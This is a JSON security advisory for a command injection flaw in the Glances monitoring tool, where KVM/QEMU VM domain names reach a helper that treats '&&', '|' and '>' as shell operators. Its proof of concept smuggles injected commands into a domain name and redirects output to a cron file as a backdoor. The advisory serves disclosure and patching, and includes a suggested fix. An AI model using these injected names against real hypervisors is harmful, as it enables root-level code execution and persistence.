Find a vulnerability

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:14:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Glances KVM/QEMU monitoring engine (`glances/plugins/vms/engines/virsh.py`) passes VM domain names, read directly from `virsh list --all` output, into f-string command templates that are processed by `secure_popen()`. `secure_popen()` is explicitly designed to interpret `\u0026\u0026`, `|`, and `\u003e` as shell operators.  Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances \u2014 commonly root on hypervisor hosts.\n\n---\n\n### Details\n\n**Affected file:** `glances/plugins/vms/engines/virsh.py`\n\n**Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204\n\nThe vulnerable calls are on lines 185 and 204:\n\n```python\n# line 185  (update_stats)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}\u0027)\n\n# line 204  (update_title)\nret_cmd = secure_popen(f\u0027{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}\u0027)\n```\n\n`domain` is the name string parsed from the output of `virsh list --all` (line 59\u201378 in the same file); no sanitisation is applied to it at  any point before it reaches `secure_popen()`.\n\n`secure_popen()` is defined in `glances/secure.py`.  It explicitly splits the command string on `\u0026\u0026`, `|`, and `\u003e` before invoking `subprocess.Popen` with `shell=False` on each part, meaning all three operators are treated as real pipeline/redirection control characters:\n\n```python\n# glances/secure.py\ndef secure_popen(cmd):\n    ret = \u0027\u0027\n    for c in cmd.split(\u0027\u0026\u0026\u0027):        # \u0027\u0026\u0026\u0027 \u2192 two separate processes\n        ret += __secure_popen(c)\n    return ret\n\ndef __secure_popen(cmd):\n    for sub_cmd in cmd.split(\u0027|\u0027):   # \u0027|\u0027 \u2192 stdin/stdout piped\n        p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)\n    # \u0027\u003e\u0027 is split separately for file redirection\n```\n\nBy contrast, `actions.py` sanitises process names through `_sanitize_mustache_dict()` before they reach `secure_popen()`.  The `vms` plugin applies no such protection.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nAll three injection operators were verified:\n\n| Operator | Effect | Confirmed |\n|----------|--------|-----------|\n| `\u0026\u0026`     | Second command executes after the virsh call | Yes |\n| `\\|`     | Output of virsh piped to injected command    | Yes |\n| `\u003e`      | virsh output redirected to arbitrary file    | Yes |\n\n---\n\n### PoC\n\n**Special configuration required**\n\n* Glances must be configured to monitor a KVM/QEMU hypervisor: the `vms` plugin must be enabled and `/usr/bin/virsh` must be installed and executable.\n* The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the `libvirt` group, a typical default on  Ubuntu/Debian/Fedora, or a cloud-platform tenant account).\n* No custom `glances.conf` settings are needed beyond a working virsh setup.\n\n**Step 1 \u2014 Create a VM with a crafted domain name**\n\nUsing the `\u0026\u0026` operator to chain a second command:\n\n```xml\n\u003cdomain type=\"kvm\"\u003e\n  \u003cname\u003eproductionDB \u0026amp;\u0026amp; touch /tmp/glances_pwned\u003c/name\u003e\n  \u003cmemory\u003e131072\u003c/memory\u003e\n  \u003cvcpu\u003e1\u003c/vcpu\u003e\n  \u003cos\u003e\u003ctype arch=\"x86_64\"\u003ehvm\u003c/type\u003e\u003c/os\u003e\n\u003c/domain\u003e\n```\n\n```bash\nvirsh define evil-domain.xml\n```\n\n**Step 2 \u2014 Start Glances with KVM monitoring enabled**\n\n```bash\nglances                # or: glances -s / glances -w\n```\n\nOn the next monitoring cycle Glances calls:\n\n```\nvirsh domstats --nowait \"productionDB \u0026\u0026 touch /tmp/glances_pwned\"\n```\n\nwhich `secure_popen()` splits into two processes:\n1. `virsh domstats --nowait productionDB`\n2. `touch /tmp/glances_pwned`\n\n**Step 3 \u2014 Verify execution**\n\n```bash\nls -la /tmp/glances_pwned   # file will exist, owned by the Glances user\n```\n\n**Pipe injection (`|`) example**\n\nDomain name: `\"productionDB | tee /tmp/virsh_output_stolen.txt\"`\n\nThe output of the virsh call is piped to `tee`, writing the data to an attacker-controlled path.\n\n**File-write injection (`\u003e`) example**\n\nDomain name: `\"productionDB \u003e /etc/cron.d/glances_backdoor\"`\n\nThe virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.\n\n**Minimal Python reproduction (no VM required)**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nfrom glances.secure import secure_popen\n\n# Simulates the exact call in virsh.py line 185\ndomain = \u0027productionDB \u0026\u0026 id\u0027\nresult = secure_popen(f\u0027/bin/echo domstats --nowait {domain}\u0027)\nprint(result)\n# Output will include two lines: the echo output AND the output of `id`\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Command Injection (CWE-78)\n\n**Who is impacted:** Any deployment of Glances on a KVM/QEMU hypervisor host where the `vms` plugin is active.  Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights \u2014 a privilege granted by default to members of the `libvirt` group and to cloud-platform tenant APIs.\n\n**Impact:**\n- **Confidentiality:** Full \u2014 arbitrary commands can exfiltrate secrets from the Glances process environment and the file system.\n- **Integrity:** Full \u2014 file-write injection (`\u003e`) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).\n- **Availability:** Full \u2014 the Glances process can be terminated or the host disrupted through the injected commands.\n\nIn cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.\n\n---\n\n### Suggested Fix\n\nReplace the f-string interpolation with list-based argument passing to avoid any interaction with `secure_popen()`\u0027s operator splitting logic:\n\n```python\n# virsh.py \u2014 replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE\n\nresult = run(\n    [VIRSH_PATH, \u0027domstats\u0027, \u0027--nowait\u0027, domain],\n    stdout=PIPE, stderr=PIPE, timeout=5\n)\n```\n\nAlternatively, sanitise `domain` using the same `_sanitize_mustache_dict` helper already used in `actions.py`, which strips `\u0026\u0026`, `|`, `\u003e`, `;`, and backtick characters from string values.\n\nAs a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with `CAP_SYS_PTRACE` rather than as root.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members\nof the AFINE Team.\n\n---",
  "id": "GHSA-v5r2-qh84-fjx5",
  "modified": "2026-06-22T21:14:06Z",
  "published": "2026-06-22T21:14:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-v5r2-qh84-fjx5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py"
}